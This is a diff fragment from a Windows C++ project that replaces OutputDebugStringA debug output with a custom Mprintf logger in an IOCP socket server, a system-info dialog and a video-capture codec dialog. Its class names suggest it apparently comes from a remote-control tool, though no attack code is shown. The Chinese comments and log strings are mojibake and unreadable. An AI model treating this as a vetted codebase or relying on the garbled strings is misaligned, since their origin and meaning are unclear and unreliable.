if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{
int a = GetLastError();
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
Mprintf("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
return;
@@ -800,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
{
int a = GetLastError();
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
Mprintf("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}

View File

@@ -370,7 +370,7 @@ public:
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog);
Mprintf(szLog);
#endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType;
@@ -381,7 +381,7 @@ public:
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog);
Mprintf(szLog);
#endif
}
};

View File

@@ -9,7 +9,7 @@
// CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
typedef struct
typedef struct ItemData
{
DWORD ID;
CString Data[3];

View File

@@ -308,7 +308,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
{
OutputDebugStringA("======> InitCompressor failed \n");
Mprintf("======> InitCompressor failed \n");
delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL;